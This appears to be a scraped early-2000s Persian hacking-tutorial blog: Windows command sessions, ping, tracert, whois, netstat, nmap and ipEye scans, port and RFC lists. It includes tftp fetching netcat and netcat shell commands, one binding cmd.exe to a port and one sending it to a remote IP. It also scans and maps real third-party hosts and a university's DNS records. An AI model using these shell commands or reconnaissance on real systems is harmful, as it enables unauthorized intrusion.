tftp -i 217.66.198.116 GET nc.exe
Transfer successful: 59392 bytes in 1 second, 59392 bytes/s
nc -l -p 22 -e cmd.exe
nc 63.148.112.65 22
nc -l -p 22
nc 217.66.198.116 22 -e cmd.exe
نظرات ()Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
I:\>
I:\> C:
C:\>
C:\> dir
Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6
Directory of C:\
09/06/2003 06:29a <DIR> GAMES
08/15/2003 06:20p 1,806,727 phpMyAdmin-2.5.3-rc1-php.zip
06/17/2002 07:06p <DIR> upload
06/19/2002 07:02p <DIR> mailserver
09/13/2002 03:59a 8,053 port-tcp-c.c
02/27/2003 10:28p <DIR> mp3
04/18/2003 07:38a 1,152 araz.pl
3 File(s) 1,815,932 bytes
4 Dir(s) 95,502,336 bytes free
C:\> cd games
C:\GAMES>
Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6
Directory of C:\GAMES
09/06/2003 06:29a <DIR> .
09/06/2003 06:29a <DIR> ..
09/06/2003 06:29a <DIR> FORMULA1
09/06/2003 06:35a <DIR> SP
09/06/2003 06:36a <DIR> SUPER
09/06/2003 06:39a <DIR> UF
0 File(s) 0 bytes
6 Dir(s) 95,502,336 bytes free
C:\GAMES> cd .
C:\GAMES>
C:\GAMES> cd ..
C:\>
C:\> type araz.pl
#!/usr/bin/perl
print "Content-type: text/html\n\n";
use Socket;
my ($remote, $port, @thataddr, $that, $them, $proto, $getpage );
$remote = shift || 'www.securitytracker.com';
$port = 80;
@thataddr=gethostbyname($remote) or die "Not Connected";
$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]);
$proto=getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!;
connect(SOCK, $that) or die $!;
........
C:\> echo salam bar to > ali1000.txt
C:\> copy con ali1000.txt
C:\> type ali1000.txt
C:\> md tur2
C:\> cd tur2
C:\tur2> md far30
Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6
Directory of C:\tur2
10/04/2003 07:17p <DIR> .
10/04/2003 07:17p <DIR> ..
10/04/2003 07:18p <DIR> far30
0 File(s) 0 bytes
3 Dir(s) 95,477,760 bytes free
C:\tur2> copy c:\ali1000.txt c:\tur2\far30
C:\tur2> copy c:\ali1000.txt d:
C:\tur2> del c:\ali1000.txt
C:\> del ali1000.txt
cd
c:\tur2
C:\> cd c:\tur2\far30
Volume in drive C is FREE-START
Volume Serial Number is 3623-07E6
Directory of C:\tur2\far30
10/04/2003 07:18p <DIR> .
10/04/2003 07:18p <DIR> ..
10/04/2003 07:08p 15 ali1000.txt
1 File(s) 15 bytes
2 Dir(s) 95,477,760 bytes free
C:\tur2\far30> move ali1000.txt c:\tur2
C:\tur2\far30> cd ..
C:\tur2> rd far30
C:\tur2> ren ali1000.txt araz.inc
C:\tur2> copy araz.inc ali1000.inc
C:\tur2> move a*.inc c:\
C:\tur2> move *.* c:\
C:\tur2> I:
I:\> cd winnt
I:\winnt> dir /p
I:\winnt> dir /?
I:\winnt> cd ..
I:\> C:
C:\> dir i:\winnt /p
C:\> dir %SystemRoot%
C:\> dir i:\cmd.exe /s
Volume in drive I has no label.
Volume Serial Number is DC24-A09D
Directory of i:\WINNT\system32
12/07/1999 04:00a 236,304 cmd.exe
1 File(s) 236,304 bytes
Directory of i:\WINNT\system32\dllcache
12/07/1999 04:00a 236,304 cmd.exe
1 File(s) 236,304 bytes
Total Files Listed:
2 File(s) 472,608 bytes
0 Dir(s) 1,255,153,664 bytes free
i:\WINNT\system32
i:\WINNT\system32\dllcache
C:\> attrib +h ali1000.inc
C:\> dir ali1000.inc /a
C:\> attrib -h ali1000.inc
I:\WINNT\system32> tftp.exe
C:\> i:\winnt\system32\tftp.exe
Transfers files to and from a remote computer running the TFTP service.
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
نظرات ()
نظرات ()ping ip-or-domainکه به جای ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را میگذاريم.
Pinging sazin.com [63.148.227.65] with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=981ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 1402ms, Average = 1043ms
Pinging 63.148.227.65 with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=861ms TTL=105
Reply from 63.148.227.65: bytes=32 time=852ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Reply from 63.148.227.65: bytes=32 time=881ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 881ms, Average = 861ms
Pinging 217.66.196.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 217.66.196.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
tracert ip-or-domain
tracert sazin.com
tracert 63.148.227.65
Tracing route to sazin.com [63.148.227.65]
over a maximum of 30 hops:
1 160 ms 160 ms 160 ms 217.218.84.3
2 381 ms 691 ms 1772 ms 217.218.84.5
3 * * 2324 ms 217.218.77.1
4 201 ms 1101 ms 180 ms 217.218.0.252
5 341 ms 220 ms 180 ms 217.218.0.2
6 1993 ms 180 ms 181 ms 217.218.158.41
7 180 ms 160 ms 160 ms 195.146.63.101
8 2824 ms * * 195.146.32.134
9 1472 ms 1463 ms 871 ms 195.146.33.73
10 791 ms 841 ms 811 ms if-1....eglobe.net [207.45.218.161]
11 1692 ms * 2654 ms if-4-....eglobe.net [207.45.222.77]
12 1282 ms 891 ms 1052 ms if-1-....globe.net [207.45.220.245]
13 902 ms 931 ms 881 ms if-15.....globe.net [66.110.8.134]
14 931 ms 861 ms 871 ms if-8-....leglobe.net [64.86.83.174]
15 901 ms 841 ms 852 ms if-5-.....globe.net [207.45.223.62]
16 841 ms 862 ms 851 ms pos6-.....vel3.net [209.0.227.33]
17 841 ms 842 ms 941 ms so-4-1.....vel3.net [209.247.10.205]
18 882 ms 931 ms 851 ms so-0-1....vel3.net [209.247.11.197]
19 871 ms 891 ms 951 ms gige9....vel3.net [209.247.11.210]
20 1011 ms 851 ms 902 ms unknown.Level3.net [63.208.0.94]
21 852 ms * 882 ms 64.156.25.74
22 961 ms 942 ms 841 ms 63.148.227.65
Trace complete.
iums.ac.ir. SOA sina.i........0 345600)
iums.ac.ir. NS sina.iums.ac.ir
iums.ac.ir. NS ns1.nic.ir
iums.ac.ir. MX 10 sina.iums.ac.ir
smtp.iums.ac.ir. A 195.146.34.181
sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6
sina.iums.ac.ir. MX 10 sina.iums.ac.ir
sina.iums.ac.ir. A 194.225.184.20
sina.iums.ac.ir. A 195.146.34.181
sun.iums.ac.ir. CNAME sina.iums.ac.ir
cisco.iums.ac.ir. CNAME router.iums.ac.ir
webmail.iums.ac.ir. A 195.146.34.181
linux.iums.ac.ir. A 194.225.184.19
linux.iums.ac.ir. HINFO Intel-Xeon/800 RedHat-Linux-7.2
mta.iums.ac.ir. A 195.146.34.181
pop3.iums.ac.ir. CNAME sina.iums.ac.ir
localhost.iums.ac.ir. A 127.0.0.1
proxy.iums.ac.ir. CNAME arvand.iums.ac.ir
www.iums.ac.ir. A 195.146.34.180
atrak.iums.ac.ir. A 194.225.184.14
ns1.iums.ac.ir. CNAME sina.iums.ac.ir
arvand.iums.ac.ir. A 194.225.184.13
router.iums.ac.ir. A 194.225.184.1
router.iums.ac.ir. HINFO Cisco3640/Access-Server IOS-IP-12.0
iums.ac.ir. SOA sina.iu.......3456000 345600)
sina.iums.ac.ir. HINFO Sun-SuperSPARC5/75 UNIX-Solaris-2.6HIFNO برای تعيين نوع کامپيوتر و سيستمعامل سرور اهميت دارد. در اين سطر مشخص است که sina.iums.ac.ir از Sun-SuperSPARC5/75 UNIX-Solaris-2.6 استفاده میکند.
نظرات ()
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (63.148.227.65):
(The 1583 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
31/tcp open msg-auth
53/tcp open domain
80/tcp open http
110/tcp open pop-3
135/tcp open loc-srv
143/tcp open imap2
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1050/tcp open java-or-OTGfileshare
1433/tcp open ms-sql-s
3372/tcp open msdtc
3389/tcp open ms-term-serv
6666/tcp open irc-serv
7007/tcp open afs3-bos
Remote operating system guess: Windows 2000/XP/ME
Nmap .... -- 1 IP address (1 host up) scanned in 156 seconds
CMD: -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
-sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
nmap -sS -PT -PI -p 1-200 -O -T 3 63.148.227.65
-sP -PI -T 3 195.219.176.0-10
nmap -sP -PI -T 3 195.219.176.0-10
نظرات ()ping xxx.xxx.xxx.xxx
ping 63.148.227.65
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Request timed out.
Request timed out.
Request timed out.
Request timed out.

Host (195.219.176.0) seems to be a subnet broadcast address ...
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Host (195.219.176.1) appears to be up.
Host (195.219.176.3) appears to be up.
Host (195.219.176.5) appears to be up.
Host (195.219.176.7) appears to be up.
Host (195.219.176.9) appears to be up.
Host (195.219.176.11) appears to be up.
Host (195.219.176.12) appears to be up.
Host (195.219.176.13) appears to be up.
Host (195.219.176.14) appears to be up.
Host H-GVSVY95KXINRJ (195.219.176.15) appears to be up.
Host (195.219.176.16) appears to be up.
Host (195.219.176.17) appears to be up.
Host (195.219.176.18) appears to be up.
Host (195.219.176.19) appears to be up.
Host KERYASBA (195.219.176.20) appears to be up.
Host MARYAM (195.219.176.22) appears to be up.
Host (195.219.176.23) appears to be up.
Host (195.219.176.24) appears to be up.
Host FFX-L2XA0ZM87Q3 (195.219.176.25) appears to be up.
Host (195.219.176.26) appears to be up.
Host (195.219.176.27) appears to be up.
Host (195.219.176.28) appears to be up.
,...
نظرات ()- http://ntsecurity.nu/toolbox/ipeye/
Error: Too few parameters.
Usage:
ipEye <target IP> <scantype> -p <port> [optional parameters]
ipEye <target IP> <scantype> -p <from port> <to port>
[optional parameters]
<scantype> is one of the following:
-syn = SYN scan
-fin = FIN scan
-null = Null scan
-xmas = Xmas scan>br>
(note: FIN, Null and Xmas scans don"t work against Windows systems.
[optional parameters] are selected from the following:
-sip <source IP> = source IP for the scan
-sp <source port> = source port for the scan
-d <delay in ms> = delay between scanned ports in milliseconds
(default set to 750 ms)
ipeye 63.148.227.65 -syn -p 1 200
1-20 [drop]
21 [open]
22 [closed or reject]
23-24 [drop]
25 [open]
26-52 [drop]
53 [open]
54-79 [drop]
80 [open]
81-109 [drop]
110 [open]
111-142 [drop]
143 [open]
144-200 [drop]
201-65535 [not scanned]
netstat -an
netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:7 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9 0.0.0.0:0 LISTENING
TCP 0.0.0.0:13 0.0.0.0:0 LISTENING
TCP 0.0.0.0:17 0.0.0.0:0 LISTENING
TCP 0.0.0.0:19 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:53 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:515 0.0.0.0:0 LISTENING
TCP 0.0.0.0:563 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1040 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1041 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1043 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1755 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6034 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7007 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7778 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8181 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1039 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2103 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2105 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2107 0.0.0.0:0 LISTENING
UDP 0.0.0.0:7 *:*
UDP 0.0.0.0:9 *:*
UDP 0.0.0.0:13 *:*
UDP 0.0.0.0:17 *:*
UDP 0.0.0.0:19 *:*
UDP 0.0.0.0:68 *:*
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:161 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1030 *:*
UDP 0.0.0.0:1036 *:*
UDP 0.0.0.0:1038 *:*
UDP 0.0.0.0:1042 *:*
UDP 0.0.0.0:1075 *:*
UDP 0.0.0.0:1434 *:*
UDP 0.0.0.0:1645 *:*
UDP 0.0.0.0:1646 *:*
UDP 0.0.0.0:1755 *:*
UDP 0.0.0.0:1812 *:*
UDP 0.0.0.0:1813 *:*
UDP 0.0.0.0:3456 *:*
UDP 0.0.0.0:3527 *:*
UDP 127.0.0.1:53 *:*
UDP 127.0.0.1:1028 *:*
UDP 127.0.0.1:1029 *:*
UDP 127.0.0.1:1035 *:*
UDP 127.0.0.1:1044 *:*
UDP 127.0.0.1:1045 *:*
UDP 127.0.0.1:1100 *:*
Proto Local Address Foreign Address State- Proto : يعنی پروتکل، که میتواند TCP يا UDP باشد.
نظرات ()
نظرات ()Ports TCP/UDP Service or Application
------ ------- ----------------------------------------
7 tcp echo
11 tcp systat
19 tcp chargen
21 tcp ftp-data
22 tcp ssh
23 tcp telnet
25 tcp smtp
42 tcp nameserver
43 tcp whois
49 udp tacacs
53 udp dns-lookup
53 tcp dns-zone
66 tcp oracle-sqlnet
69 udp tftp
79 tcp finger
80 tcp http
81 tcp alternative for http
88 tcp kerberos or alternative for http
109 tcp pop2
110 tcp pop3
111 tcp sunrpc
118 tcp sqlserv
119 tcp nntp
135 tcp ntrpc-or-dec
139 tcp netbios
143 tcp imap
161 udp snmp
162 udp snmp-trap
179 tcp bgp
256 tcp snmp-checkpoint
389 tcp ldap
396 tcp netware-ip
407 tcp timbuktu
443 tcp https/ssl
445 tcp ms-smb-alternate
445 udp ms-smb-alternate
500 udp ipsec-internet-key-exchange (ike)
513 tcp rlogin
513 udp rwho
514 tcp rshell
514 udp syslog
515 tcp printer
515 udp printer
520 udp router
524 tcp netware-ncp
799 tcp remotely possible
1080 tcp socks
1313 tcp bmc-patrol-db
1352 tcp notes
1433 tcp ms-sql
1494 tcp citrix
1498 tcp sybase-sql-anywhere
1524 tcp ingres-lock
1525 tcp oracle-srv
1527 tcp oracle-tli
1723 tcp pptp
1745 tcp winsock-proxy
2000 tcp remotely-anywhere
2001 tcp cisco-mgmt
2049 tcp nfs
2301 tcp compaq-web
2447 tcp openview
2998 tcp realsecure
3268 tcp ms-active-dir-global-catalog
3268 udp ms-active-dir-global-catalog
3300 tcp bmc-patrol-agent
3306 tcp mysql
3351 tcp ssql
3389 tcp ms-termserv
4001 tcp cisco-mgmt
4045 tcp nfs-lockd
5631 tcp pcanywhere
5800 tcp vnc
6000 tcp xwindows
6001 tcp cisco-mgmt
6549 tcp apc
6667 tcp irc
8000 tcp web
8001 tcp web
8002 tcp web
8080 tcp web
9001 tcp cisco-xremote
12345 tcp netbus
26000 tcp quake
31337 udp backorifice
32771 tcp rpc-solaris
32780 udp snmp-solaris
43188 tcp reachout
65301 tcp pcanywhere-def
telnet hostname portnum
telnet iums.ac.ir 13
telnet iums.ac.ir daytime
نظرات ()Start > Programs > Accessories > Command Prompt

ping domain
ping sazin.com
Pinging sazin.com [63.148.227.65] with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=822ms TTL=111
Reply from 63.148.227.65: bytes=32 time=811ms TTL=111
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 811ms, Maximum = 822ms, Average = 818ms
http://www.samspade.org/t/ipwhois?a=xxxxxx
http://www.samspade.org/t/ipwhois?a=sazin.com
http://www.samspade.org/t/ipwhois?a=www.sazin.com
whois -h magic 63.148.227.65
sazin.com resolves to 63.148.227.65
Trying whois -h whois.arin.net 63.148.227.65
Qwest Communications NET-QWEST-BLKS-2 (NET-63-144-0-0-1)
63.144.0.0 - 63.151.255.255
Neutron Digital Media Corp. QWST-63-148-224 (NET-63-148-224-0-1)
63.148.224.0 - 63.148.231.255
# ARIN Whois database, last updated 2002-09-04 19:05
# Enter ? for additional hints on searching ARIN"s Whois database.
Windows 2000 IP Configuration
PPP adapter neda:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 217.66.198.116
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 217.66.198.116
Active Connections
Proto Local Address Foreign Address State
TCP 217.66.198.116:2469 64.58.76.177:80 ESTABLISHED
TCP 217.66.198.116:2471 66.163.175.130:80 ESTABLISHED
TCP 217.66.198.116:2473 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2474 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2476 212.73.194.136:80 SYN_SENT
netstat -n
netstat
Active Connections
Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1341 66.218.75.149:80 LAST_ACK
TCP 195.219.176.126:1325 212.234.112.74:5101 SYN_SENT
Active Connections
Proto Local Address Foreign Address State
TCP artawill...:1296 cs55.msg.sc5.yahoo.com:5050 ESTABLISHED
TCP artawill...:1298 dl3.yahoo.com:http TIME_WAIT
TCP artawill...:1325 Majid:5101 SYN_SENT
Active Connections
Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1344 64.58.77.197:80 ESTABLISHED
TCP 195.219.176.126:5101 212.234.112.74:3735 ESTABLISHED
TCP 195.219.176.126:5101 194.225.184.95:1460 ESTABLISHED
نظرات ()http://www.ietf.org/rfc/xxxxxxx.txt
http://www.ietf.org/rfc/rfc791.txt
+General Information
RFC1360 IAB Official Protocol Standards
RFC1340 Assigned Numbers
RFC1208 Glossary of Networking Terms
RFC1180 TCP/IP Tutorial
RFC1178 Choosing a Name for Your Computer
RFC1175 FYI on Where to Start:
A Bibliography of Inter-networking Information
RFC1173 Responsibilities of Host and Network Managers:
A Summary of the Oral Tradition of the Internet
RFC1166 Internet Numbers
RFC1127 Perspective on the Host Requirements RFCs
RFC1123 Requirements for Internet Hosts—Application and Support
RFC1122 Requirements for Internet Hosts—Communication Layers
RFC1118 Hitchhiker"s Guide to the Internet
RFC1011 Official Internet Protocol
RFC1009 Requirements for Internet Gateways
RFC980 Protocol Document Order Information
+TCP and UDP
RFC1072 TCP Extensions for Long-Delay Paths
RFC896 Congestion Control in IP/TCP Internetworks
RFC879 TCP Maximum Segment Size and Related Topics
RFC813 Window and Acknowledgment Strategy in TCP
RFC793 Transmission Control Protocol
RFC768 User Datagram Protocol
+IP and ICMP
RFC1219 On the Assignment of Subnet Numbers
RFC1112 Host Extensions for IP Multicasting
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC950 Internet Standard Subnetting Procedure
RFC932 Subnetwork Addressing Schema
RFC922 Broadcasting Internet Datagrams in the Presence of Subnets
RFC9l9 Broadcasting Internet Datagrams
RFC886 Proposed Standard for Message Header Munging
RFC815 IP Datagram Reassembly Algorithms
RFC814 Names, Addresses, Ports, and Routes
RFC792 Internet Control Message Protocol
RFC791 Internet Protocol
RFC781 Specification of the Internet Protocol (IP) Timestamp Option
+Lower Layers
RFC1236 IP to X.121 Address Mapping for DDN
RFC1220 Point-to-Point Protocol Extensions for Bridging
RFC1209 Transmission of IP Datagrams over the SMDS Service
RFC1201 Transmitting IP Traffic over ARCNET Networks
RFC1188 Proposed Standard for the Transmission of IP Datagrams
over FDDI Networks
RFC1172 Point-to-Point Protocol Initial Configuration Options
RFC1171 Point-to-Point Protocol for the Transmission of
Multiprotocol Datagrams over Point-to-Point Links
RFC1149 Standard for the Transmission of IP Datagrams on Avian
Carriers
RFC1055 Nonstandard for Transmission of IP Datagrams over
Serial Lines: SLIP
RFC1044 Internet Protocol on Network System"s HYPERchannel:
Protocol Specification
RFC1042 Standard for the Transmission of IP Datagrams over
IEEE 802 Networks
RFC1027 Using ARP to Implement Transparent Subnet Gateways
RFC903 Reverse Address Resolution Protocol
RFC895 Standard for the Transmission of IP Datagrams over
Experimental Ethernet Networks
RFC894 Standard for the Transmission of IP Datagrams over
Ethernet Networks
RFC893 Trailer Encapsulations
RFC877 Standard for the Transmission of IP Datagrams over
Public Data Networks
+Bootstrapping
RFC1084 BOOTP Vendor Information Extensions
RFC951 Bootstrap Protocol
RFC906 Bootstrap Loading Using TFTP
+Domain Name System
RFC1101 DNS Encoding of Network Names and Other Types
RFC1035 Domain Names—Implementation and Specification
RFC1034 Domain Names—Concepts and Facilities
RFC1033 Domain Administrators Operations Guide
RFC1032 Domain Administrators Guide
RFC974 Mail Routing and the Domain System
RFC920 Domain Requirements
RFC799 Internet Name Domains
+File Transfer and File Access
RFC1094 NFS: Network File System Protocol Specification
RFC1068 Background File Transfer Program (BFTP)
RFC959 File Transfer Protocol
RFC949 FTP Unique-Named Store Command
RFC783 TFTP Protocol (Revision 2)
RFC775 Directory Oriented FTP Commands
RFC1341 MIME (Multipurpose Internet Mail Extensions) Mechanisms for
Specifying and Describing the Format of Internet Message
Bodies
RFC1143 Q Method of Implementing Telnet Option Negotiation
RFC1090 SMTP on X.25
RFC1056 PCMAIL: A Distributed Mail System for Personal Computers
RFC974 Mail Routing and the Domain System
RFC822 Standard for the Format of ARPA Internet Text Messages
RFC821 Simple Mail Transfer Protocol
+Routing Protocols
RFC1267 A Border Gateway Protocol 3 (BGP-3)
RFC1247 OSPF version 2
RFC1222 Advancing the NSFNET Routing Architecture
RFC1195 Use of OSI IS-IS for Routing in TCP/IP and Dual Environments
RFC1164 Application of the Border Gateway Protocol in the Internet
RFC1163 Border Gateway Protocol (BGP)
RFC1136 Administrative Domains and Routing Domains:
A Model for Routing in the Internet
RFC1074 NSFNET Backbone SPF-Based Interior Gateway Protocol
RFC1058 Routing Information Protocol
RFC911 EGP ateway under Berkeley UNIX 4.2
RFC904 Exterior Gateway Protocol Formal Specification
RFC888 STUB Exterior Gateway Protocol
RFC827 Exterior Gateway Protocol (EGP)
RFC823 DARPA Internet Gateway
+Routing Performance and Policy
RFC1254 Gateway Congestion Control Survey
RFC1246 Experience with the OSPF Protocol
RFC1245 OSPF Protocol Analysis
RFC1125 Policy Requirements for Inter-Administrative Domain Routing
RFC1124 Policy Issues in Interconnecting Networks
RFC1104 Models of Policy-Based Routing
RFC1102 Policy Routing in Internet Protocols
+Terminal Access
RFC1205 Telnet 5250 Interface
RFC1198 FYI on the X Window System
RFC1184 Telnet Linemode Option
RFC1091 Telnet Terminal-Type Option
RFC1080 Telnet Remote Flow Control Option
RFC1079 Telnet Terminal Speed Option
RFC1073 Telnet Window Size Option
RFC1053 Telnet X.3 PAD Option
RFC1043 Telnet Data Entry Terminal Option: DODIIS Implementation
RFC1041 Telnet 3270 Regime Option
RFC1013 X Window System Protocol, version 11: Alpha Update
RFC946 Telnet Terminal Location Number Option
RFC933 Output Marking Telnet Option
RFC885 Telnet End of Record Option
RFC861 Telnet Extended Options: List Option
RFC860 Telnet Timing Mark Option
RFC859 Telnet Status Option
RFC858 Telnet Suppress Go Ahead Option
RFC857 Telnet Echo Option
RFC856 Telnet Binary Transmission
RFC855 Telnet Option Specifications
RFC854 Telnet Protocol Specification
RFC779 Telnet Send-Location Option
RFC749 Telnet SUPDUP-Output Option
RFC736 Telnet SUPDUP Option
RFC732 Telnet Data Entry Terminal Option
RFC727 Telnet Logout Option
RFC726 Remote Controlled Transmission and Echoing Telnet Option
RFC698 Telnet Extended ASCII Option
+Other Applications
RFC1196 Finger User Information Protocol
RFC1179 Line Printer Daemon Protocol
RFC1129 Internet Time Synchronization: The Network Time Protocol
RFC1119 Network Time Protocol (version 2) Specification
and Implementation
RFC1057 RPC: Remote Procedure Call Protocol Specification: Version 2
RFC1014 XDR: External Data Representation Standard
RFC954 NICNAME/WHOIS
RFC868 Time Protocol
RFC867 Daytime Protocol
RFC866 Active Users
RFC865 Quote of the Day Protocol,
RFC864 Character Generator Protocol
RFC863 Discard Protocol
RFC862 Echo Protocol
Network Management
RFC1271 Remote Network Monitoring Management Information Base
RFC1253 OSPE version 2: Management Information Base
RFC1243 Appletalk Management Information Base
RFC1239 Reassignment of Experimental MIBs to Standard MIBs
RFC1238 CLNS MIB for Use with Connectionless Network Protocol (ISO
8473) and End System to Intermediate System (ISO 9542)
RFC1233 Definitions of Managed Objects for the DS3 Interface Type
RFC1232 Definitions of Managed Objects for the DS1 Interface Type
RFC1231 IEEE 802.5 Token Ring MIB
RFC1230 IEEE 802.4 Token Bus MIB
RFC1229 Extensions to the Generic-Interface MIB
RFC1228 SNMP-DPI: Simple Network Management Protocol Distributed
Program Interface
RFC1227 SNMP MUX protocol and MIB
RFC1224 Techniques for Managing Asynchronously Generated Alerts
RFC1215 Convention for Defining Traps for Use with the SNMP
RFC1214 OSI Internet Management: Management Information Base
RFC1213 Management Information Base for Network Management of
TCP/IP-based Internets: MiB-II
RFC1212 Concise MIB Definitions
RFC1187 Bulk Table Retrieval with the SNMP
RFC1157 Simple Network Management Protocol (SNMP)
RFC1156 Management Information Base for Network Management of
TCP/IP-based Internets
RFC1155 Structure and Identification of Management Information for
TCP/IP-Based Internets
RFC1147 FYI on a Network Management Tool Catalog: Tools for
Monitoring
and Debugging TCP/IP Internets and Interconnected Devices
RFC1089 SNMP over Ethernet
+Tunneling
RFC1241 Scheme for an Internet Encapsulation Protocol: Version 1
RFC1234 Tunneling IPX Traffic through IP Networks
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC1002 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Detailed Specifications
RFC1001 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Concepts and Methods
+OSI
RFC1240 OSI Connectionless Transport Services on Top of UDP:
Version 1
RFC1237 Guidelines for OSI NSAP Allocation in the Internet
RFC1169 Explaining the Role of GOSIP
+Security
RFC1244 Site Security Handbook
RFC1115 Privacy Enhancement for Internet Electronic Mail:
Part III Algorithms, Modes, and Identifiers [Draft]
RFC1114 Privacy Enhancement for Internet Electronic Mail:
Part II Certificate-Based Key Management [Draft]
RFC1113 Privacy Enhancement for Internet Electronic Mail: Part I—
Message Encipherment and Authentication Procedures [Draft]
RFC1108 Security Options for the Internet Protocol
+Miscellaneous
RFC1251 Who"s Who in the Internet: Biographies of
IAB, IESG, and IRSG Members
RFC1207 FYI on Questions and Answers: Answers to Commonly
Asked "Experienced Internet User
RFC1206 FYI on Questions and Answers: Answers to Commonly
Asked "New Internet User" Questions
نظرات ()Port Num Service Why it is phun!
-------- ------- ----------------------------------------
7 echo Host repearts what you type
9 discard Dev/null
11 systat Lots of info on users
13 daytime Time and date at computers location
15 netstat Tremendous info on networks
19 chargen Pours out a stream of ASCII characters.
21 ftp Transfers files
23 telnet Where you log in.
25 smpt Forge email
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging
520 route Routing information protocol
نظرات ()0 <= O
1 <= L; I
2 <= Z
3 <= E
4 <= A
5 <= S
6 <= G
7 <= T
8 <= B
